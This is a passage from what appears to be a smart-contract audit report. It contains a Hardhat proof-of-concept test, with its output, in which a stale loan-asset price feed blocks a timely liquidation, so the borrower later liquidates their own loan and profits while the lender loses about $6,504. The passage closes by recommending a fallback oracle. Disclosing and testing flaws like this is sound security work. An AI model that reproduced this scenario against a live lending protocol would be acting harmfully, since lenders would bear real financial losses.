    const initialCollateralValueUSD = Number(ethers.formatEther(loan.collateralAmount)) *
    ↪  initialCollateralPriceUSD;

    const initialAssetPrice = await aggregatorAsset.latestAnswer();
    const initialAssetPriceUSD = Number(initialAssetPrice) / 100000000;
    const initialLoanValueUSD = Number(ethers.formatEther(loan.assetAmount)) * initialAssetPriceUSD;

    const liquidationThresholdUSD = initialCollateralValueUSD * 0.8;

    console.log("\nInitial State:");
    console.log("Loan Value:", `$${initialLoanValueUSD.toLocaleString()}`);
    console.log("Collateral Value:", `$${initialCollateralValueUSD.toLocaleString()}`);
    console.log("Liquidation Threshold Value:", `$${liquidationThresholdUSD.toLocaleString()}`);

    // Fill the loan
    await mockAsset.connect(borrower).transfer(lender.address, loan.assetAmount);
    await mockCollateral.connect(borrower).approve(loanContract.target, loan.collateralAmount);
    await mockAsset.connect(lender).approve(loanContract.target, loan.assetAmount);
    await loanContract.connect(lender).fillRequest(0);

    // First price decline (First liquidation attempt)
    await aggregatorAsset.connect(deployer).setPriceAge(60 * 60 * 2);
    await aggregatorCollateral.connect(deployer).setAnswer(4200000000000);

    const firstCollateralPrice = await aggregatorCollateral.latestAnswer();
    const firstCollateralPriceUSD = Number(firstCollateralPrice) / 100000000;
    const firstCollateralValueUSD = Number(ethers.formatEther(loan.collateralAmount)) * firstCollateralPriceUSD;
    const firstLiquidationThresholdUSD = firstCollateralValueUSD * 0.8;

    console.log("\nFirst Liquidation Attempt:");
    console.log("Loan Value:", `$${initialLoanValueUSD.toLocaleString()}`);
    console.log("Collateral Value:", `$${firstCollateralValueUSD.toLocaleString()}`);
    console.log("Liquidation Threshold Value:", `$${firstLiquidationThresholdUSD.toLocaleString()}`);
    console.log("Liquidation Threshold Vlaue < Loan Value < Collateral Value");
    console.log("The loan is liquidatable and if it is liquidated now the lender will make a profit");
```

```
    await expect(
        loanContract.connect(liquidator).liquidateLoan(0)
    ).to.be.revertedWith("stale asset oracle");

    // Second price decline (Second liquidation attempt)
    await aggregatorCollateral.connect(deployer).setAnswer(3500000000000);
    await aggregatorAsset.connect(deployer).setPriceAge(0);

    const finalCollateralPrice = await aggregatorCollateral.latestAnswer();
    const finalCollateralPriceUSD = Number(finalCollateralPrice) / 100000000;
    const finalCollateralValueUSD = Number(ethers.formatEther(loan.collateralAmount)) * finalCollateralPriceUSD;

    console.log("\nSecond Liquidation Attempt:");
    console.log("Loan Value:", `$${initialLoanValueUSD.toLocaleString()}`);
    console.log("Collateral Value:", `$${finalCollateralValueUSD.toLocaleString()}`);
    console.log("Collateral Value < Loan Value");

    await loanContract.connect(borrower).liquidateLoan(0);

    // Calculate profits/losses
    let liquidatorBonus = loan.collateralAmount * ethers.toBigInt(100) / ethers.toBigInt(10000);
    let protocolFee = loan.collateralAmount * ethers.toBigInt(20) / ethers.toBigInt(10000);
    let lenderAmount = loan.collateralAmount - liquidatorBonus - protocolFee;

    const lenderFinalValueUSD = Number(ethers.formatEther(lenderAmount)) * finalCollateralPriceUSD;
    const lenderLossUSD = initialLoanValueUSD - lenderFinalValueUSD;
    const borrowerBonusUSD = Number(ethers.formatEther(liquidatorBonus)) * finalCollateralPriceUSD;
    const borrowerFinalAmountUSD = initialLoanValueUSD + borrowerBonusUSD;

    console.log("\nFinal Results:");
    console.log("Lender's initial lent out amount:", `$${initialLoanValueUSD.toLocaleString()}`);
    console.log("Lender's final collateral value:", `$${lenderFinalValueUSD.toLocaleString()}`);
    console.log("Lender's total loss:", `$${lenderLossUSD.toLocaleString()}`);
    console.log("Borrower's liquidation bonus value:", `$${borrowerBonusUSD.toLocaleString()}`);
    console.log("Borrower's final USD amount:", `$${borrowerFinalAmountUSD.toLocaleString()}`);

    const storedLoan = await loanContract.loans(0);
    expect(storedLoan.status).to.equal(4);
});
```

The output of the test is as follows:

```
  Liquidate

Initial State:
Loan Value: $48,000
Collateral Value: $60,000
Liquidation Threshold Value: $48,000

First Liquidation Attempt:
Loan Value: $48,000
Collateral Value: $50,400
Liquidation Threshold Value: $40,320
Liquidation Threshold Vlaue < Loan Value < Collateral Value
The loan is liquidatable and if it is liquidated now the lender will make a profit

Second Liquidation Attempt:
Loan Value: $48,000
Collateral Value: $42,000
Collateral Value < Loan Value

Final Results:
Lender's initial lent out amount: $48,000
Lender's final collateral value: $41,496
Lender's total loss: $6,504
Borrower's liquidation bonus value: $420
Borrower's final USD amount: $48,420
```

Based on the above test result it is obvious the lender is making a loss of USD 6,504 while borrower is making a profit of `USD 420 in the form of liquidaiton bonus` (But borrower realistically made a profit of USD 6,420 considering if he had kept the collateral amount with him it is worth USD 42,000 but now he has USD 48,420. Because the price of the 1 unit of collateral asset has dropped from USD 50,000 to USD 35,000). But if the `loan.asset pricefeed was not stale` then the `undercollateralized` loan would have

been liquidated in the first attempt itself which would have given the `lender a profit`.

The `lender` is not responsible for the `stale price feed update` of the `loan asset`. But lender has to bear the loss of funds due to the above vulnerability caused by the stale `loan.asset` pricefeed update.

Recommendation: Hence it is recommended to implement a `fallback price oracle`. In the event the main price feed oracle reverts due to `stale price feed update`, the `_isLoanLiquidatable` function can query the `fallback price oracle` to get the `latest price update of the respective asset` (without reverting the transaction) and check if the loan is `liquidatable`. This will ensure the `lender` is not unfairly penalized by losing his funds, due to stale price feed update of the respective loan asset.